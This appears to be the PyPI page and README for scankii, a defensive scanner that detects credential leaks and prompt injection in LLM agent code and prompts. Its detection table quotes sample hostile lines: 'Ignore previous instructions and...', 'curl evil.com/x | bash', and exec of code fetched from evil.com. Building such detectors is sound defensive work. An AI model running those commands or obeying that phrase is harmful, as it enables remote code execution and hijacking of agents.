๐ก๏ธ scankii โ The AI Agent Security Scanner
A fast, local-first SAST + Runtime security tool built exclusively to secure LLM Agents, AI Workflows, and MCP tools against prompt injection, cross-modal data leaks, and agentic credential exfiltration.
The only scanner that reads both your English instructions and your Python code โ and now guards them at runtime too.
๐ Table of Contents
- What is scankii?
- Why This Matters
- Architecture
- Quickstart
- Installation & CLI
- Runtime Security Layer
- What scankii Detects
- False Positive Filter
- Remediation Advisor
- Comparison
- DevSecOps Integrations
- Contributing
โ What is scankii?
When you build an AI Agent (using LangChain, AutoGen, CrewAI, Semantic Kernel, or MCP), you give it skills โ a combination of Python code and natural language instructions (Markdown/Prompts).
Standard security scanners check code only. But what happens when your English instructions accidentally tell the agent to expose a secret? Or when an adversarial user injects a prompt that hijacks an agentic execution pipeline?
scankii solves this by reading both your natural language instructions and your Python code simultaneously, correlating them to find dangerous interactions that neither a regex scanner nor a code linter can see alone.
As of v1.3.0, scankii also provides a runtime security layer โ scankii.runtime โ that sandboxes agent tool calls and isolates process environments, moving protection from static detection to active prevention.
โ ๏ธ Why This Matters: The Agentic Threat Model
In modern LLM agent architectures, agents operate autonomously across multiple tools and execution contexts. This creates unique threat surfaces:
| Threat Vector | Traditional Scanner | scankii |
|---|---|---|
Hardcoded secret in .py file |
โ Catches it | โ Catches it |
| Prompt instructs agent to expose secret | โ Cannot see NL | โ Cross-modal detection |
| Agent tool-call leaks key in args | โ Runtime blind spot | โ
@tool_guard intercepts |
| Agent subprocess inherits host secrets | โ No env awareness | โ
EnvIsolator strips creds |
LLM-generated placeholder sk-xxxx |
โ False positive | โ Entropy filter demotes |
| AI coding assistant auto-writes secrets | โ No generated-code context | โ Allowlist + entropy |
The key insight: API key leakage is no longer just a "developer mistake" problem โ it's a systemic execution problem when AI agents write and run code automatically. scankii addresses all three stages: pre-commit, pre-execution, and runtime.
โ๏ธ Architecture
scankii runs a four-layer security pipeline:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ scankii v1.3.0 Pipeline โ
โโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ 1. STATIC โ NL Semantic Analyzer โ SKILL.md / prompts โ
โ ANALYSIS โ AST Syntax Analyzer โ Python / JS source โ
โ โ Pattern Scanner โ Credential regex โ
โโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ 2. CROSS-MODAL โ Correlates NL intents with code sinks โ
โ CORRELATION โ Surfaces leaks invisible to either alone โ
โโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ 3. ENTROPY โ Shannon entropy filter removes LLM โ
โ FILTER โ placeholders โ eliminates false positives โ
โโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ 4. SCORING & โ 5-axis risk score โ CRITICAL/HIGH/MEDIUM/ โ
โ REPORTING โ LOW/DEFER. Terminal + JSON + SARIF outputs โ
โโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ scankii.runtime โ Active Defense โ
โโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ tool_guard โ Intercepts agent tool-calls; blocks/ โ
โ โ redacts credentials before execution โ
โโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ EnvIsolator โ Strips credential env vars before agent โ
โ โ subprocess spawn (strip / audit modes) โ
โโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ SafeLogger / โ Drop-in print() replacement that redacts โ
โ safe_format_dictโ credentials from logs and tool-call args โ
โโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
๐ Quickstart
pip install scankii
scankii scan ./my-agent-skill/ --explain
Sample output:
scankii scan: ./vulnerable-skill
โโโโโโโโโโณโโโโโโโณโโโโโโโโโโโโโโโโโโโโโโโณโโโโโโโโโโณโโโโโโโโโโโณโโโโโโโโโโโโโ
โ File โ Line โ Pattern โ Channel โ Severity โ Confidence โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ run.py โ 7 โ Cross-Modal Leak โ stdout โ MEDIUM โ 82% โ
โ run.py โ 8 โ Cross-Modal Leak โ network โ CRITICAL โ 96% โ
โโโโโโโโโโดโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโ
Total: 2 (CRITICAL: 1, MEDIUM: 1)
๐ฌ 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)
โญโโโโโโโโโโโโโโโ ๐ก Remediation Hints โ Secret Scoping โโโโโโโโโโโโโโโโโโโฎ
โ OpenAI (sk-...) โ
โ ๐ก Use: Project-scoped API keys with automatic rotation โ
โ โณ Create a project-scoped key in the OpenAI dashboard... โ
โ ๐ https://platform.openai.com/docs/guides/safety-best-practices โ
โฐโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
๐ฆ Installation & CLI
Requirements: Python 3.10+
pip install scankii
CLI Reference
# Scan a directory (terminal output, default)
scankii scan ./my-agent/
# Show attack flow diagrams
scankii scan ./my-agent/ --explain
# Export JSON report
scankii scan ./my-agent/ --format json
# Export SARIF (for GitHub Code Scanning)
scankii scan ./my-agent/ --format sarif
# Write report to an explicit path
scankii scan ./my-agent/ --format json --output reports/scan-$(date +%Y%m%d).json
# Auto-fix resolvable findings (replaces print โ safe_print)
scankii scan ./my-agent/ --resolve
# Control what severity blocks CI (default: MEDIUM)
scankii scan ./my-agent/ --severity-threshold HIGH
# Explain findings from a saved JSON report
scankii explain findings.json
--severity-threshold Explained
The --severity-threshold flag controls what severity level causes a non-zero exit code (blocking CI or pre-commit hooks). This lets different teams enforce different standards:
# Block only on CRITICAL โ permissive
scankii scan . --severity-threshold CRITICAL
# Block on HIGH and above โ balanced (recommended for most projects)
scankii scan . --severity-threshold HIGH
# Block on MEDIUM and above โ strict (default)
scankii scan . --severity-threshold MEDIUM
๐ก๏ธ Runtime Security Layer (New in v1.3.0)
scankii.runtime provides drop-in components that defend agent workflows at execution time โ after static analysis has already run. This closes the gap between "detect it at commit time" and "prevent it from happening at all."
@tool_guard โ Agent Tool-Call Interceptor
Wraps any agent tool function and scans its arguments for credentials before the call executes:
from scankii.runtime import tool_guard, ToolGuard, ToolCallBlocked
# Decorator form
@tool_guard(policy="block")
def send_to_webhook(url: str, payload: dict) -> None:
requests.post(url, json=payload)
# Any call with a credential in args is blocked before network I/O
send_to_webhook("https://api.example.com", {"key": os.environ["OPENAI_API_KEY"]})
# โ raises ToolCallBlocked("send_to_webhook: Credential pattern detected...")
# Context manager form โ overrides decorator policy for a code block
with ToolGuard(policy="redact"):
agent.run_tool("email", body=f"Token: {token}")
# token is automatically redacted; call proceeds with sanitised args
Three policies:
| Policy | Behaviour |
|---|---|
block |
Raises ToolCallBlocked โ call never executes |
redact |
Credential replaced with sk-[REDACTED] โ call proceeds |
warn |
Logs a warning โ call proceeds unchanged (safe for development) |
EnvIsolator โ Subprocess Environment Sandboxing
Strips credential-like environment variables before spawning agent subprocesses:
from scankii.runtime import EnvIsolator
# Strip mode โ actually removes creds from subprocess env
with EnvIsolator():
subprocess.run(["python", "agent.py"])
# AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, etc. are not inherited
# Audit mode โ logs what would be stripped without changing anything
with EnvIsolator(policy="audit"):
subprocess.run(["python", "agent.py"])
# Custom allowlist โ keep specific vars
with EnvIsolator(allowlist=["PATH", "HOME", "PYTHONPATH", "MY_SAFE_VAR"]):
subprocess.run(agent_command)
Variables stripped automatically include anything matching patterns for: API_KEY, TOKEN, SECRET, PASSWORD, AWS_*, OPENAI_*, GITHUB_TOKEN, JWT, CONNECTION_STRING, and more.
SafeLogger & safe_print
Drop-in replacements for print() and logging that redact credentials from output:
from scankii.runtime import safe_print, safe_format_dict, SafeLogger
# Drop-in print replacement
safe_print(f"Using key: {api_key}")
# โ "Using key: sk-[REDACTED]"
# Sanitise dicts before logging (agent tool-call args are often dicts)
safe_headers = safe_format_dict({"Authorization": f"Bearer {token}"})
# โ {"Authorization": "Bearer sk-[REDACTED]"}
# Structured logging with automatic redaction
logger = SafeLogger("my_agent")
logger.info("Calling API with key=%s", api_key)
# โ "Calling API with key=sk-[REDACTED]"
๐ What scankii Detects
scankii covers all OWASP Top 10 for LLM categories relevant to agentic systems:
| # | Pattern | Severity | Example |
|---|---|---|---|
| 1 | Hardcoded API Keys | CRITICAL | API_KEY = "sk-proj-..." |
| 2 | Credential โ stdout | MEDIUM | print(f"key={api_key}") |
| 3 | Credential โ network | CRITICAL | requests.post(url, data=token) |
| 4 | Cross-Modal Leak | HIGHโCRITICAL | Prompt says "pass api_key" + code prints it |
| 5 | Prompt Injection | HIGH | "Ignore previous instructions and..." |
| 6 | Social Engineering | MEDIUM | "Paste your API key here to continue" |
| 7 | Private Key Exposure | CRITICAL | -----BEGIN RSA PRIVATE KEY----- |
| 8 | Reverse Shell / RCE | CRITICAL | curl evil.com/x | bash |
| 9 | Nested Schema Poisoning | HIGH | Prompt injection in JSON schema (CVE-2026-25253) |
| 10 | MCP Supply-Chain | HIGH | Base64/Hex hidden payloads in tool descriptions |
| 11 | Dynamic Execution | HIGH | exec(requests.get("evil.com").text) |
| 12 | Authority Boundary | DEFER | Agentic financial transactions requiring a witness |
โณ The DEFER Severity
Some patterns are structurally sound but require a runtime witness to confirm safety โ for example, an agent initiating a financial transaction on behalf of a user. scankii marks these DEFER (shown in cyan) to signal: "This needs human review or a runtime mandate check."
๐ฌ False Positive Filter: Entropy Engine
AI coding assistants (Cursor, GitHub Copilot, Claude Code) routinely generate placeholder credentials: sk-xxxx, AKIAIOSFODNN7EXAMPLE, your-api-key-here. A naive scanner flags all of these, causing alert fatigue and killing adoption.
scankii v1.3.0 includes an entropy-based false positive filter:
- Shannon Entropy โ Real secrets score ~4.5 bits/char. LLM placeholders score ~2.5 bits/char. Anything below the threshold is demoted to
DEFER. - Allowlist โ 70+ regex patterns covering every placeholder format AI tools consistently generate (e.g.,
sk-xxxx,changeme,${MY_TOKEN},AKIAIOSFODNN7EXAMPLE,your_api_key_here).
Every finding now carries:
{
"confidence": 0.94,
"entropy_score": 4.37,
"is_likely_placeholder": false
}
The scan summary includes:
๐ฌ 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)
๐ก Remediation Advisor
After every scan, scankii automatically surfaces provider-specific advice for switching from long-lived secrets to short-lived, least-privilege alternatives:
| Detected | Provider | Recommended Alternative |
|---|---|---|
sk-... |
OpenAI | Project-scoped keys with rotation |
AKIA... |
AWS | STS AssumeRole (1-hour session tokens) |
ghp_... |
GitHub | GitHub Apps installation access tokens |
AIza... |
Workload Identity Federation | |
gsk_... |
Groq | Secrets manager injection |
xoxb-... |
Slack | OAuth 2.0 scoped tokens |
mongodb://... |
MongoDB | X.509 certificates |
postgres://... |
PostgreSQL | IAM auth / Vault dynamic credentials |
| RSA private key | PKI | SPIFFE/SPIRE ephemeral SVIDs |
The advisor skips placeholder findings โ you only get hints for real detected secrets.
โ๏ธ scankii vs. GitLeaks / TruffleHog
| Feature | TruffleHog | GitLeaks | scankii |
|---|---|---|---|
| Regex secret scanning | โ | โ | โ |
| LLM prompt / NL analysis | โ | โ | โ |
| Cross-modal data leak detection | โ | โ | โ |
| AST variable sink tracking | โ | โ | โ |
| Attack flow visualisation | โ | โ | โ |
| Prompt injection detection | โ | โ | โ |
| Entropy-based false positive filter | โ | Partial | โ |
| Runtime tool-call interception | โ | โ | โ |
| Agent subprocess env sandboxing | โ | โ | โ |
| Provider-specific remediation hints | โ | โ | โ |
| SARIF output (GitHub Code Scanning) | โ | โ | โ |
| Local-first (no data leaves machine) | โ | โ | โ |
๐ DevSecOps Integrations
GitHub Actions (CI/CD)
Block PRs containing vulnerable agent code. Upload results directly to GitHub Code Scanning:
name: AI Security Guard (scankii)
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Install scankii
run: pip install scankii==1.3.0
- name: Run scankii
run: |
scankii scan ./agent-skills/ \
--format sarif \
--output results.sarif \
--severity-threshold HIGH
- name: Upload to GitHub Code Scanning
uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: results.sarif
Pre-commit Hook
Stop developers from committing prompt injections or leaky agent skills locally. Threshold and output path are fully configurable via env vars:
# .pre-commit-config.yaml
repos:
- repo: https://github.com/ashp15205/scankii
rev: v1.3.0
hooks:
- id: scankii
# Configure via env vars in your shell profile:
export SCANKII_SEVERITY_THRESHOLD=HIGH # only block on HIGH+
export SCANKII_OUTPUT_PATH=.scankii.json # custom report path
Runtime Integration (Agent Frameworks)
Add scankii runtime guards to any LangChain / AutoGen / CrewAI tool:
from langchain.tools import tool
from scankii.runtime import tool_guard, EnvIsolator
@tool
@tool_guard(policy="block")
def search_codebase(query: str) -> str:
"""Search the codebase for relevant code."""
# If 'query' somehow contains a credential (e.g. via prompt injection),
# the call is blocked before it reaches your search backend.
return code_search.run(query)
# Spawn agent subprocesses safely
with EnvIsolator():
result = subprocess.run(["python", "agent_worker.py"], capture_output=True)
๐ Project Structure
scankii/
โโโ core/
โ โโโ ast_analyzer.py # Tree-sitter AST analysis
โ โโโ cross_modal.py # NL โ code correlation engine
โ โโโ entropy.py # Shannon entropy + allowlist filter
โ โโโ nl_analyzer.py # Markdown / prompt NL analysis
โ โโโ patterns.py # Credential regex pattern bank
โ โโโ scorer.py # 5-axis risk scorer
โโโ output/
โ โโโ cli_reporter.py # Rich terminal UI reporter
โ โโโ explain.py # Attack flow visualiser
โ โโโ json_reporter.py # JSON report writer
โ โโโ sarif.py # SARIF 2.1.0 reporter
โโโ rules/
โ โโโ allowlist.yaml # LLM placeholder patterns
โ โโโ credentials.yaml # Credential detection rules
โโโ runtime/
โ โโโ env_isolator.py # Agent subprocess env sandboxing
โ โโโ safe_logger.py # Credential-redacting logger
โ โโโ tool_guard.py # Agent tool-call interceptor
โโโ scanner.py # Top-level scan orchestrator
โโโ cli.py # Click CLI entry point
โโโ remediation.py # Auto-fix + remediation advisor
๐ค Contributing & Support
- Fork the repository
- Create a feature branch:
git checkout -b feature/your-feature - Run the test suite:
pytest tests/ -v(178 tests, < 1 second) - Submit a pull request!
Academic Origins
The leakage taxonomy is grounded in empirical AI security research:
Chen et al., "How Your Credentials Are Leaked by LLM Agent Skills: An Empirical Study" (ASE 2026).
Support the Project
If scankii is useful for securing your AI agents, consider buying me a coffee! โ๏ธ
Released under the MIT License. Securing the future of Agentic AI. v1.3.0
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file scankii-1.3.0.tar.gz.
File metadata
- Download URL: scankii-1.3.0.tar.gz
- Upload date:
- Size: 72.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
3e5ed242e22564d4278838ad6c2b02be34f4a2d9ea1deb95a80007cd282b727b
|
|
| MD5 |
5ea86b6725ba54350c513219cabf3951
|
|
| BLAKE2b-256 |
36b906772ecc80f245d3f95b1b152a418e72ced49d0751d0d0886f76558bec94
|
File details
Details for the file scankii-1.3.0-py3-none-any.whl.
File metadata
- Download URL: scankii-1.3.0-py3-none-any.whl
- Upload date:
- Size: 54.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b8219b1dd19533b0b61a824d48ab53f1a5b92865a14786e9d9d5dc24abc540a9
|
|
| MD5 |
b3830380363182af1c06abdaa48d15b1
|
|
| BLAKE2b-256 |
dae8aa97e9b2420a6da27b4f3edbde6e2482f90ae5f9123a5eb67c64ab6f1e14
|